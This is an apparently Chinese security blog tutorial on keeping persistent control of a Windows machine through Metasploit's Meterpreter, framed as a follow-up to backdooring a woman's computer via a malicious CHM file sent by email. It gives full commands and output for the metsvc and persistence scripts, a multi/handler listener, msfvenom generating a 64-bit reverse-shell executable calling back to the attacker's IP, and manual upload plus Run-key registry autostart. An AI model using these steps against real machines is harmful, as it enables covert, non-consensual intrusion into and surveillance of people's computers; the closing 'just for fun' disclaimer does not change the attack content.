0x00 前言
繼上篇文章《制作CHM文件后門》,成功制作了一份具有欺騙性的CHM幫助文件,并通過(guò)郵件發(fā)送給了女神。女神居然2話不說(shuō)就點(diǎn)擊查看了,因此一個(gè)聯(lián)向女神電腦的Meterpreter會(huì)話成功Get。</壞笑>
對(duì)于一般的滲透流程來(lái)說(shuō),當(dāng)GetShell后,首先想到的肯定是留下后門,以便后續(xù)能持續(xù)化進(jìn)行控制。
可是,后門如何制作?如何使后門能正確工作?對(duì)于新手來(lái)說(shuō),這也是一個(gè)不小的挑戰(zhàn)。
我們既然使用Metaspliot平臺(tái),其號(hào)稱滲透界神器,此等小事,肯定不在話下。
因此,我們來(lái)見(jiàn)識(shí)下Metaspliot在獲取到Meterpreter會(huì)話后如何留下后門,進(jìn)行控制持久化。
0x01 Meterpreter控制持久化
Meterpreter提供2種方式的后門,一種是通過(guò)服務(wù)啟動(dòng)(metsvc),一種是通過(guò)啟動(dòng)項(xiàng)啟動(dòng)(persistence)。
通過(guò)服務(wù)(metsvc)啟動(dòng)的方式,其優(yōu)點(diǎn)便是命令簡(jiǎn)單方便。使用此方式的后門不進(jìn)行反彈回連,因此不必設(shè)置太多參數(shù)。該后門在目標(biāo)機(jī)器啟動(dòng)后自啟動(dòng)一個(gè)”服務(wù)器”來(lái)等待黑闊連接,因此黑闊可以隨時(shí)隨地通過(guò)該后門進(jìn)入目標(biāo)機(jī)器,十分簡(jiǎn)單方便。當(dāng)然,其缺點(diǎn)也十分明顯。當(dāng)其他黑闊使用掃描軟件掃出該”服務(wù)器”的存在時(shí),任何人便可以通過(guò)該后門直達(dá)目標(biāo)機(jī)器內(nèi)部。毫無(wú)安全性可言。
通過(guò)啟動(dòng)項(xiàng)啟動(dòng)(persistence)的方式,其缺點(diǎn)便是參數(shù)較為復(fù)雜,當(dāng)設(shè)置某項(xiàng)參數(shù)后,很有可能因?yàn)闄?quán)限問(wèn)題導(dǎo)致該設(shè)置項(xiàng)并未生效,并且無(wú)錯(cuò)誤回顯,導(dǎo)致持續(xù)化控制可能失敗,功敗垂成。當(dāng)然,其優(yōu)點(diǎn)也可圈可點(diǎn)。該方式是在目標(biāo)機(jī)器上以反彈回連方式來(lái)連接黑闊的”服務(wù)器”,目標(biāo)機(jī)器上的防火墻對(duì)于此等操作一般均會(huì)放行,因此后門的存活率較高,黑闊只需坐等羔羊送上門來(lái)。
0x03 Meterpreter持續(xù)化控制命令
使用metsvc生成后門命令十分簡(jiǎn)單:
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Arche\AppData\Local\Temp\nKTNwwJaSWG...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
meterpreter >
這里,我們主要以persistence方式為主。首先,我們查看下persistence的幫助信息
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
可以看出要使用新的腳本,舉個(gè)例子
run post/windows/manage/persistence_exe REXENAME=cmd.exe REXEPATH=/root/backdoor/miao.exe STARTUP=USER
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit /multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval
in
seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
meterpreter >
此處,幾個(gè)比較重要的參數(shù)為
-P:設(shè)置Payload,默認(rèn)為windows/meterpreter/reverse_tcp。該默認(rèn)的payload生成的后門為32位程序。因此,當(dāng)目標(biāo)機(jī)器為64位系統(tǒng)時(shí),留下的后門將無(wú)法運(yùn)行
-U:設(shè)置后門在用戶登錄后自啟動(dòng)。該方式會(huì)在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊(cè)表信息。推薦使用該參數(shù)
-X:設(shè)置后門在系統(tǒng)啟動(dòng)后自啟動(dòng)。該方式會(huì)在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊(cè)表信息。由于權(quán)限問(wèn)題,會(huì)導(dǎo)致添加失敗,后門將無(wú)法啟動(dòng)。因此,在非管理員權(quán)限或者未進(jìn)行BypassUAC操作情況下,不推薦使用該參數(shù)。
-i:設(shè)置反向連接間隔時(shí)間,單位為秒。當(dāng)設(shè)置該參數(shù)后,目標(biāo)機(jī)器會(huì)每隔設(shè)置的時(shí)間回連一次所設(shè)置的ip
-p:設(shè)置反向連接的端口號(hào)。即黑闊用來(lái)等待連接的端口
-r:設(shè)置反向連接的ip地址。即黑闊用來(lái)等待連接的ip
因此,一個(gè)完整的命令為:
meterpreter > run persistence -U -i 10 -p 6666 -r 192.168.4.95
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ROTK-PC_20171031.2840/ROTK-PC_20171031.2840.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.4.95 LPORT=6666
[*] Persistent agent script is 99654 bytes long
[+] Persistent Script written to C:\Users\ROTK\AppData\Local\Temp\wNjaOZQi.vbs
[*] Executing script C:\Users\ROTK\AppData\Local\Temp\wNjaOZQi.vbs
[+] Agent executed with PID 2564
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EnKZjOUJ
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EnKZjOUJ
meterpreter >
0x04 連接后門
當(dāng)后門留好后,我們需要設(shè)置監(jiān)聽來(lái)等待后門被觸發(fā),以致反彈連接我們的”服務(wù)器”
msf > use exploit /multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.17.131
LHOST => 192.168.17.131
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.17.131:6666
[*] Starting the payload handler...
[*] Sending stage (1188911 bytes) to 192.168.17.137
[*] Meterpreter session 1 opened (192.168.17.131:6666 -> 192.168.17.137:61273) at 2016-08-31 10:49:34 -0400
meterpreter >
此時(shí),當(dāng)用戶觸發(fā)后門時(shí),可以看到,一個(gè)meterpreter又建立了。
0x05 64位系統(tǒng)的后門制作
如果是32位系統(tǒng),按照前面的流程,此時(shí)后門已經(jīng)部署完成了。
但是,如果是64位的系統(tǒng),你會(huì)發(fā)現(xiàn),后門已經(jīng)成功部署了,但卻無(wú)法正常啟動(dòng)。
這時(shí),需要生成一個(gè)64位的后門
root@kali:~
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o ~/backdoor.exe lhost=192.168.17.131 lport=6666
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as:
/root/backdoor
.exe
root@kali:~
這時(shí),在你~/目錄下,會(huì)生成一個(gè)以payload為windows/x64/meterpreter/reverse_tcp的后門。該后門可在64位系統(tǒng)上正常運(yùn)行。
那么,后門已經(jīng)有了。如何部署到目標(biāo)機(jī)器上呢?
其實(shí),我們可以看到,在run persistence腳本時(shí),其主要的工作是上傳后門到目標(biāo)機(jī)器,而后再寫自啟動(dòng)注冊(cè)表。僅此2步,何不手動(dòng)為之?
上傳文件:
1
2
3
meterpreter > upload
/root/backdoor
.exe c:\
users
\arche\AppData\
local
\backdoor.exe
[*] uploading :
/root/backdoor
.exe -> c:
users
\arche\AppData
local
\backdoor.exe
[*] uploaded :
/root/backdoor
.exe -> c:
users
\arche\AppData
local
\backdoor.exe
寫注冊(cè)表:
1
2
3
meterpreter > reg setval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run -
v
backdoor -d c:\
users
\arche\AppData\
local
\backdoor.exe
Successfully
set
backdoor of REG_SZ.
meterpreter >
這時(shí),64位系統(tǒng)的后門也已經(jīng)部署完成!
0x06 后話
使用CHM加metasploit很容易制作木馬并持續(xù)化進(jìn)行控制,但工具的帶來(lái)的簡(jiǎn)便切不可用來(lái)為非作歹。這兒僅僅是為了學(xué)習(xí)與好玩而已,恰如Linus大神所說(shuō)的”Just for fun”
話說(shuō),一般用戶電腦上只要裝有殺毒軟件,metasploit生成的后門都會(huì)被干掉啦。所以上述內(nèi)容幾乎都是廢話啊哈哈哈哈哈哈哈哈哈哈哈哈哈哈。女神的電腦上居然裝了qx電腦管家、3×0安全衛(wèi)士、邁克菲殺毒。。。。